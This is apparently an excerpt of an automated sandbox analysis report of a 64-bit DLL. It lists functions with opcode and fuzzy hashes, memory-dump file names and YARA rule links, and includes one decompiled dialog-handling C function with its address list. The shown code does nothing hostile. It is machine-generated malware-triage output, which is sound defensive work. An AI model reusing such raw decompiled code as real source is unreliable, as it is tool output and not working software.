                                                                        • Opcode Fuzzy Hash: 8f0e16368c704187141b6fb0efb02278d5bc33123132ba3fd1801deba8d4faa7
                                                                        • Instruction Fuzzy Hash: 83611D70D0470C8BDBA9CFE9D8896DEBBB1FF44304F108119E455A7295DBB4994ACF41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000F580 Relevance: .1, Instructions: 140COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 944917ea1874b5bb835b2d9dfc5b5994d4cfa4edd529642523b1046e02155be7
                                                                        • Instruction ID: 0745e503a2d0a70328526e65183ed2e10cd9f7a094773ad2a32df98563051cc9
                                                                        • Opcode Fuzzy Hash: 944917ea1874b5bb835b2d9dfc5b5994d4cfa4edd529642523b1046e02155be7
                                                                        • Instruction Fuzzy Hash: A761047090070E8BDF48DFA8C48A5EEBFB1FB58394F60411DE806A62A0D7749A95CFD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002369C Relevance: .1, Instructions: 137COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 523bf1e92e8e2f50f8fef7ccb3099ab3e2f026c84d03bfca64bbfd527f2a1582
                                                                        • Instruction ID: 7236d98a7db89e91e710372ff115cae0edc8fdb44a71a1e16054ed40bbfe9796
                                                                        • Opcode Fuzzy Hash: 523bf1e92e8e2f50f8fef7ccb3099ab3e2f026c84d03bfca64bbfd527f2a1582
                                                                        • Instruction Fuzzy Hash: A9513070D0460D8BEF99DFA8C4467EEBBB1FB08344F108129E515E6291CB789A49CF95
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800129BC Relevance: .1, Instructions: 117COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 02a684188995345922c9afdc254e5f890dc64c5b7fdf51397b32179a01d6f708
                                                                        • Instruction ID: 7e43551082b928033ff9666f1a08183dab18758e4d1574c26079351c65fa7b6f
                                                                        • Opcode Fuzzy Hash: 02a684188995345922c9afdc254e5f890dc64c5b7fdf51397b32179a01d6f708
                                                                        • Instruction Fuzzy Hash: EE51C071518788CBEBBADF24C8896DA7BB1FB58304F904219D84E8E290DBB4574ACB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180022F3C Relevance: .1, Instructions: 116COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d419667b547a92e243f84ef97490428a889141761c3f806213dc23cdfd513faa
                                                                        • Instruction ID: f0764dc7e6f17699652efb4a09f024a1efaf52aedabf498b84e85cc6fb88d4b8
                                                                        • Opcode Fuzzy Hash: d419667b547a92e243f84ef97490428a889141761c3f806213dc23cdfd513faa
                                                                        • Instruction Fuzzy Hash: A251E9701046898BEBF9DE54D8997E937B0FB58344F50C129E98ECE291DFB8478CAB01
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180005198 Relevance: .1, Instructions: 98COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2be38a0491973a0032a8909769e77a99ca5202ad907bf2f316ceccf1fca314b2
                                                                        • Instruction ID: ad96443eb28c6a82df1f97e306602e362a7ae1e5a2bde30735ebe52a11a5bbfc
                                                                        • Opcode Fuzzy Hash: 2be38a0491973a0032a8909769e77a99ca5202ad907bf2f316ceccf1fca314b2
                                                                        • Instruction Fuzzy Hash: F751B3B091038E8FDB48CF68D88A5DE7BB0FB48348F101A19FC6696264D3B49665CF85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800284DC Relevance: .1, Instructions: 87COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7fd209a5bacbcf2df3ffdabd5d46f381966fb765f5ca23652f52e26abfad730a
                                                                        • Instruction ID: 876bae8787b81c4c1aefc65bffde51390e9f2e5ed90f82b01e6b4889b423325e
                                                                        • Opcode Fuzzy Hash: 7fd209a5bacbcf2df3ffdabd5d46f381966fb765f5ca23652f52e26abfad730a
                                                                        • Instruction Fuzzy Hash: A041EDB050474E8BEF49DF28C58A6DE3FA0FB58388F114619FC1696290D7B8DA64CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800031F0 Relevance: .1, Instructions: 87COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4ca1efe31156c35c298be2d637e060690348a8d13e7852dc2934e068bf2ecc89
                                                                        • Instruction ID: 9b74ada767c823db9c4ab891288e731548ff2de0f7f9274de7d5615e17984334
                                                                        • Opcode Fuzzy Hash: 4ca1efe31156c35c298be2d637e060690348a8d13e7852dc2934e068bf2ecc89
                                                                        • Instruction Fuzzy Hash: AB41C5B050078E8FDF48DF64C8965DE7BF1FB48348F114619EC6AAA250C7B8D664CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180017C30 Relevance: .1, Instructions: 85COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 9823a1695063f33db6058971ba758a754b1e79fcaac480df1d26d26a3a2e3ac2
                                                                        • Instruction ID: a2d4bb55e3a0b558e33d792ddbe2f0ed9c9b9665709f025dfddefefbb758f3b2
                                                                        • Opcode Fuzzy Hash: 9823a1695063f33db6058971ba758a754b1e79fcaac480df1d26d26a3a2e3ac2
                                                                        • Instruction Fuzzy Hash: 5E4190B590478E8FDF88CF64D84A5DF7BB0FB15318F000A19EC29A6294D3B49665CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002A088 Relevance: .1, Instructions: 81COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: ea6944b051cb369f947b7ae2e54e517806258f31eb48cb890d3a99ff4cfe4e33
                                                                        • Instruction ID: 2653ac368fd50d465bbdbe68b4bb0a5d9e12e7c229af07bae2f315f91989ec55
                                                                        • Opcode Fuzzy Hash: ea6944b051cb369f947b7ae2e54e517806258f31eb48cb890d3a99ff4cfe4e33
                                                                        • Instruction Fuzzy Hash: 9E41C67180074E8FDB49CF64D88A5CE7FB0FB28398F214619E815A6254D3B896A8CFD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180021AE0 Relevance: .1, Instructions: 81COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4925ee82926c03f91a1e3b482f86819beec65b60f7c6f5bf4a0d11e41f9678a5
                                                                        • Instruction ID: c091c9a3eb6e376ef9d799d018b8be1b65562fd5bebd6654e5b3ad42b0e52a84
                                                                        • Opcode Fuzzy Hash: 4925ee82926c03f91a1e3b482f86819beec65b60f7c6f5bf4a0d11e41f9678a5
                                                                        • Instruction Fuzzy Hash: EA31F370658B858BE759DF28C48565ABBE0FB88384F60892DF196C6370DBB4D489CF42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001F61C Relevance: .1, Instructions: 77COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e266d6f6875b0741bba7e8f396aa2568130e5f5413b786f050a6d872e8f1bbf0
                                                                        • Instruction ID: 17482033176f849e8a9ecc0087f148a7aa74967e5b30193f227a9dd1cff97f54
                                                                        • Opcode Fuzzy Hash: e266d6f6875b0741bba7e8f396aa2568130e5f5413b786f050a6d872e8f1bbf0
                                                                        • Instruction Fuzzy Hash: B441B27090078E8BDB49CF64C88A5DE7BF0FB58348F104A19E866A6250D7B8D6A5CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180016110 Relevance: .1, Instructions: 76COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 40b4a7dd3fd6c59d2a1fe2387ab151006b48ff30fd6fa8571f39d54594e0320a
                                                                        • Instruction ID: cad18d3bd64a61f60fb34a2c8326697ce90c78260772ca7f076a13e4d511f4b1
                                                                        • Opcode Fuzzy Hash: 40b4a7dd3fd6c59d2a1fe2387ab151006b48ff30fd6fa8571f39d54594e0320a
                                                                        • Instruction Fuzzy Hash: 2631B4B150478F8BDB4CDF28C85A5DA3BA5FB54348F004A19FC66862A0D7B4DA65CBC1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180013610 Relevance: .1, Instructions: 75COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 57c98796ed9da153abb094566a94e2ccb09f6dfb0813e54e4800ca6b7e7c1b87
                                                                        • Instruction ID: 77ee7aac4a604ab4eaa9ef9de0c7c4db185ee6a1b2bace45cb2d826a4105ee03
                                                                        • Opcode Fuzzy Hash: 57c98796ed9da153abb094566a94e2ccb09f6dfb0813e54e4800ca6b7e7c1b87
                                                                        • Instruction Fuzzy Hash: 62315B756587858B8348DF28C44942ABBE5FB8D30CF404B2DF4CAAB355D778D6058F4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180019720 Relevance: .1, Instructions: 68COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 0ba99abcd9c595a1e637b4c60ce9d4f7b99ca09a81bdeb8e7ca60ea3c891bfcc
                                                                        • Instruction ID: 56736808704bf1dd942bbaead77086cd694b70ea3f7bc8f910661226d580fff7
                                                                        • Opcode Fuzzy Hash: 0ba99abcd9c595a1e637b4c60ce9d4f7b99ca09a81bdeb8e7ca60ea3c891bfcc
                                                                        • Instruction Fuzzy Hash: E4212A7021A741AFD3CCDF29C58952ABAE0FB88344F90A91CF996C62A1D7B4C804CB06
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001A130 Relevance: .1, Instructions: 65COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 28ec5479fc9c20a5c4ee2cbe5a95cc75b34517503f37ad4c7376377d5f1ddfb5
                                                                        • Instruction ID: 24cfd7cd4527102218a8138c2a23cd94c06263710cb2c16cc19c7ec7b920fd6b
                                                                        • Opcode Fuzzy Hash: 28ec5479fc9c20a5c4ee2cbe5a95cc75b34517503f37ad4c7376377d5f1ddfb5
                                                                        • Instruction Fuzzy Hash: 9531BEB050078E8FDB48CF64D88A5DE3FB1FB48388F100A19F86AA6254D7B4D665CF85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002796C Relevance: .1, Instructions: 60COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 15b66e333b2d3df4a68563296aca916e451c710b76b5e65da49b60ab6bd77c42
                                                                        • Instruction ID: 422a9a96b60d90f09faa0fb65139306ba85052ea2442a1f81b75dd6f28c60892
                                                                        • Opcode Fuzzy Hash: 15b66e333b2d3df4a68563296aca916e451c710b76b5e65da49b60ab6bd77c42
                                                                        • Instruction Fuzzy Hash: CD317FB4529381AFD3D8DF28D19A81BBBE0FBC9308F806A1DF8CA86250D7759445CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10009560 Relevance: 48.3, APIs: 32, Instructions: 258COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 27%
                                                                        			E10009560(long __ecx, signed short __edx, void* __edi, void* __esi, void* __esp, void* __rbx, long long __rcx, void* __rdi, void* __rsi, long long __r8, long long __r9, long long _a8, signed short _a16, long long _a24, long long _a32) {
				signed int _v24;
				long _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				signed int _v48;
				signed short _v52;
				signed int _v56;
				signed int _v60;
				signed short _v64;
				long long _v72;
				char _v600;
				signed short _t52;
				signed short _t53;
				int _t58;
				signed int _t65;
				int _t68;
				signed int _t75;
				int _t78;
				int _t81;
				signed int _t87;
				int _t92;
				signed int _t98;
				int _t102;
				signed int _t108;
				signed long long _t133;
				intOrPtr _t142;
				intOrPtr _t161;
				intOrPtr _t164;
				intOrPtr _t170;
				intOrPtr _t173;
				intOrPtr _t175;
				signed long long _t190;

				_t115 = __ecx;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_t133 =  *0x10016058; // 0x9983997faf96
				_v24 = _t133 ^ _t190;
				_v72 = _a32;
				_t52 = _a16;
				_v52 = _t52;
				if(_v52 == 0x111) {
					_t53 = _t52 & 0x0000ffff;
					_v64 = _t53;
					_v60 = _t53 & 0x0000ffff;
					_v48 = _v60;
					__eflags = _v48;
					if(_v48 == 0) {
						__eflags = _v72 -  *0x10018078;
						if(_v72 !=  *0x10018078) {
							__eflags = _v72 -  *0x10018080;
							if(_v72 !=  *0x10018080) {
								_t142 =  *0x10018088;
								__eflags = _v72 - _t142;
								if(_v72 != _t142) {
									__eflags = _v72 -  *0x10018070;
									if(_v72 !=  *0x10018070) {
										__eflags = _v72 -  *0x10018068;
										if(_v72 !=  *0x10018068) {
											goto L60;
										} else {
											r9d = 0xc8;
											_t161 =  *0x10018548;
											_t58 = LoadStringW(??, ??, ??, ??);
											__eflags = _t58;
											if(_t58 != 0) {
												SetWindowTextW();
												r9d = 0;
												r8d = 0;
												__eflags = r8d;
												SendMessageW(??, ??, ??, ??);
											} else {
												__eflags = GetLastError();
												if(__eflags > 0) {
													_t65 = GetLastError() & 0x0000ffff | 0x80070000;
													__eflags = _t65;
													_v28 = _t65;
												} else {
													_v28 = GetLastError();
												}
												_t115 = _v28;
												E10009260(_v28, 0x76, __eflags, _t161);
											}
										}
									} else {
										r9d = 0xc8;
										_t164 =  *0x10018548;
										_t68 = LoadStringW(??, ??, ??, ??);
										__eflags = _t68;
										if(_t68 != 0) {
											SetWindowTextW();
											r9d = 0;
											r8d = 0;
											__eflags = r8d;
											SendMessageW(??, ??, ??, ??);
										} else {
											__eflags = GetLastError();
											if(__eflags > 0) {
												_t75 = GetLastError() & 0x0000ffff | 0x80070000;
												__eflags = _t75;
												_v32 = _t75;
											} else {
												_v32 = GetLastError();
											}
											_t115 = _v32;
											E10009260(_v32, 0x75, __eflags, _t164);
										}
									}
								} else {
									r8d = 0x104;
									_t78 = GetWindowTextW(??, ??, ??);
									__eflags = _t78;
									if(_t78 != 0) {
										r9d = 0;
										r8d = 0;
										SendMessageW(??, ??, ??, ??);
										__eflags = _t142 - 1;
										if(__eflags != 0) {
											_v56 = E10010C60(__ecx, 0xf0, __esi, __eflags, __rbx,  *0x10018048,  &_v600, __rdi, __rsi,  *0x10018050, __r9);
											__eflags = _v56;
											if(_v56 >= 0) {
												r9d = 0xc8;
												_t170 =  *0x10018548;
												_t81 = LoadStringW(??, ??, ??, ??);
												__eflags = _t81;
												if(_t81 != 0) {
													r9d = 0x40;
													MessageBoxW(??, ??, ??, ??);
													goto L43;
												} else {
													__eflags = GetLastError();
													if(__eflags > 0) {
														_t87 = GetLastError() & 0x0000ffff | 0x80070000;
														__eflags = _t87;
														_v36 = _t87;
													} else {
														_v36 = GetLastError();
													}
													_t115 = _v36;
													E10009260(_v36, 0x6c, __eflags, _t170);
												}
											} else {
												_t115 = _v56;
												E100092A0(_v56);
												goto L43;
											}
										} else {
											_v56 = E10010BF0(__ecx, 0xf0, __esi, __eflags, __rbx,  *0x10018048,  &_v600, __rdi, __rsi,  *0x10018050, __r9);
											__eflags = _v56;
											if(_v56 >= 0) {
												r9d = 0xc8;
												_t173 =  *0x10018548;
												_t92 = LoadStringW(??, ??, ??, ??);
												__eflags = _t92;
												if(_t92 != 0) {
													r9d = 0x40;
													MessageBoxW(??, ??, ??, ??);
													goto L34;
												} else {
													__eflags = GetLastError();
													if(__eflags > 0) {
														_t98 = GetLastError() & 0x0000ffff | 0x80070000;
														__eflags = _t98;
														_v40 = _t98;
													} else {
														_v40 = GetLastError();
													}
													_t115 = _v40;
													E10009260(_v40, 0x6a, __eflags, _t173);
												}
											} else {
												_t115 = _v56;
												E100092A0(_v56);
												L34:
												goto L43;
											}
										}
									} else {
										r9d = 0xc8;
										_t175 =  *0x10018548;
										_t102 = LoadStringW(??, ??, ??, ??);
										__eflags = _t102;
										if(_t102 != 0) {
											r9d = 0x10;
											MessageBoxW(??, ??, ??, ??);
											L43:
										} else {
											__eflags = GetLastError();
											if(__eflags > 0) {
												_t108 = GetLastError() & 0x0000ffff | 0x80070000;
												__eflags = _t108;
												_v44 = _t108;
											} else {
												_v44 = GetLastError();
											}
											_t115 = _v44;
											E10009260(_v44, 0x73, __eflags, _t175);
										}
									}
								}
							} else {
								DestroyWindow();
							}
						} else {
							E100092D0(__edi, __esi, __esp,  *0x10018050,  *0x10018090);
						}
					} else {
						goto L60;
					}
				} else {
					if(_v52 == 0x136) {
						__eflags = _a8 -  *0x10018060;
						if(_a8 !=  *0x10018060) {
							goto L60;
						} else {
							_t115 = 0xffffff;
							CreateSolidBrush(??);
						}
					} else {
						if(_v52 == 0x138) {
							__eflags = _a8 -  *0x10018060;
							if(_a8 !=  *0x10018060) {
								goto L60;
							} else {
								_t115 = 0xffffff;
								CreateSolidBrush(??);
							}
						} else {
							L60:
						}
					}
				}
				return E10001050(_t115, _v24 ^ _t190);
			}





































                                                                        0x10009560
                                                                        0x10009560
                                                                        0x10009565
                                                                        0x1000956a
                                                                        0x1000956e
                                                                        0x1000957a
                                                                        0x10009584
                                                                        0x10009594
                                                                        0x1000959c
                                                                        0x100095a3
                                                                        0x100095b5
                                                                        0x10009630
                                                                        0x10009633
                                                                        0x10009649
                                                                        0x10009657
                                                                        0x1000965e
                                                                        0x10009666
                                                                        0x10009674
                                                                        0x1000967c
                                                                        0x100096ac
                                                                        0x100096b4
                                                                        0x100096d7
                                                                        0x100096de
                                                                        0x100096e6
                                                                        0x10009989
                                                                        0x10009991
                                                                        0x10009a53
                                                                        0x10009a5b
                                                                        0x00000000
                                                                        0x10009a61
                                                                        0x10009a61
                                                                        0x10009a73
                                                                        0x10009a7a
                                                                        0x10009a80
                                                                        0x10009a82
                                                                        0x10009ae1
                                                                        0x10009ae7
                                                                        0x10009aea
                                                                        0x10009aea
                                                                        0x10009af9
                                                                        0x10009a84
                                                                        0x10009a8a
                                                                        0x10009a8c
                                                                        0x10009aad
                                                                        0x10009aad
                                                                        0x10009ab2
                                                                        0x10009a8e
                                                                        0x10009a94
                                                                        0x10009a94
                                                                        0x10009ab9
                                                                        0x10009ac0
                                                                        0x10009ac5
                                                                        0x10009a82
                                                                        0x10009997
                                                                        0x10009997
                                                                        0x100099a9
                                                                        0x100099b0
                                                                        0x100099b6
                                                                        0x100099b8
                                                                        0x10009a1a
                                                                        0x10009a20
                                                                        0x10009a23
                                                                        0x10009a23
                                                                        0x10009a32
                                                                        0x100099ba
                                                                        0x100099c0
                                                                        0x100099c2
                                                                        0x100099e3
                                                                        0x100099e3
                                                                        0x100099e8
                                                                        0x100099c4
                                                                        0x100099ca
                                                                        0x100099ca
                                                                        0x100099ef
                                                                        0x100099f6
                                                                        0x100099fb
                                                                        0x100099b8
                                                                        0x100096ec
                                                                        0x100096ec
                                                                        0x100096fe
                                                                        0x10009704
                                                                        0x10009706
                                                                        0x100097a7
                                                                        0x100097aa
                                                                        0x100097b9
                                                                        0x100097bf
                                                                        0x100097c3
                                                                        0x100098b6
                                                                        0x100098bd
                                                                        0x100098c5
                                                                        0x100098d8
                                                                        0x100098ea
                                                                        0x100098f1
                                                                        0x100098f7
                                                                        0x100098f9
                                                                        0x1000994d
                                                                        0x10009968
                                                                        0x00000000
                                                                        0x100098fb
                                                                        0x10009901
                                                                        0x10009903
                                                                        0x10009924
                                                                        0x10009924
                                                                        0x10009929
                                                                        0x10009905
                                                                        0x1000990b
                                                                        0x1000990b
                                                                        0x10009930
                                                                        0x10009937
                                                                        0x1000993c
                                                                        0x100098c7
                                                                        0x100098c7
                                                                        0x100098ce
                                                                        0x00000000
                                                                        0x100098ce
                                                                        0x100097c9
                                                                        0x100097e1
                                                                        0x100097e8
                                                                        0x100097f0
                                                                        0x10009803
                                                                        0x10009815
                                                                        0x1000981c
                                                                        0x10009822
                                                                        0x10009824
                                                                        0x10009878
                                                                        0x10009893
                                                                        0x00000000
                                                                        0x10009826
                                                                        0x1000982c
                                                                        0x1000982e
                                                                        0x1000984f
                                                                        0x1000984f
                                                                        0x10009854
                                                                        0x10009830
                                                                        0x10009836
                                                                        0x10009836
                                                                        0x1000985b
                                                                        0x10009862
                                                                        0x10009867
                                                                        0x100097f2
                                                                        0x100097f2
                                                                        0x100097f9
                                                                        0x10009899
                                                                        0x00000000
                                                                        0x10009899
                                                                        0x100097f0
                                                                        0x1000970c
                                                                        0x1000970c
                                                                        0x1000971e
                                                                        0x10009725
                                                                        0x1000972b
                                                                        0x1000972d
                                                                        0x10009781
                                                                        0x1000979c
                                                                        0x1000996e
                                                                        0x1000972f
                                                                        0x10009735
                                                                        0x10009737
                                                                        0x10009758
                                                                        0x10009758
                                                                        0x1000975d
                                                                        0x10009739
                                                                        0x1000973f
                                                                        0x1000973f
                                                                        0x10009764
                                                                        0x1000976b
                                                                        0x10009770
                                                                        0x1000972d
                                                                        0x10009706
                                                                        0x100096b6
                                                                        0x100096bd
                                                                        0x100096c3
                                                                        0x1000967e
                                                                        0x1000968c
                                                                        0x10009691
                                                                        0x10009668
                                                                        0x00000000
                                                                        0x10009668
                                                                        0x100095b7
                                                                        0x100095c2
                                                                        0x100095dd
                                                                        0x100095e5
                                                                        0x00000000
                                                                        0x100095e7
                                                                        0x100095e7
                                                                        0x100095ec
                                                                        0x100095ec
                                                                        0x100095c4
                                                                        0x100095cf
                                                                        0x10009603
                                                                        0x1000960b
                                                                        0x00000000
                                                                        0x1000960d
                                                                        0x1000960d
                                                                        0x10009612
                                                                        0x10009612
                                                                        0x100095d1
                                                                        0x10009b0b
                                                                        0x10009b0b
                                                                        0x100095cf
                                                                        0x100095c2
                                                                        0x10009b24

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: BrushCreateSolid
                                                                        • String ID:
                                                                        • API String ID: 4168422804-0
                                                                        • Opcode ID: 3a9f3154ac741f86030f97df30d58c378e431d553f46678c837ded900609494b
                                                                        • Instruction ID: 3d8e00811bb9c7b3fdd23e978ea39a25233a983d15212c5814e308a6d431c4dc
                                                                        • Opcode Fuzzy Hash: 3a9f3154ac741f86030f97df30d58c378e431d553f46678c837ded900609494b
                                                                        • Instruction Fuzzy Hash: 04D12A31619AC5C6F762DB55E8843DA73A0F78CBC5F504126CA8987A68DFBCC6C8CB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10009B30 Relevance: 28.7, APIs: 19, Instructions: 159COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • CreateDialogParamW.USER32 ref: 10009B5A
                                                                        • SetWindowPos.USER32(?,?,?,?,?,?,?,10009EE7), ref: 10009B98
                                                                        • ShowWindow.USER32(?,?,?,?,?,?,?,10009EE7), ref: 10009BB5
                                                                        • CreateDialogParamW.USER32 ref: 10009BDC
                                                                        • GetWindowRect.USER32 ref: 10009C03
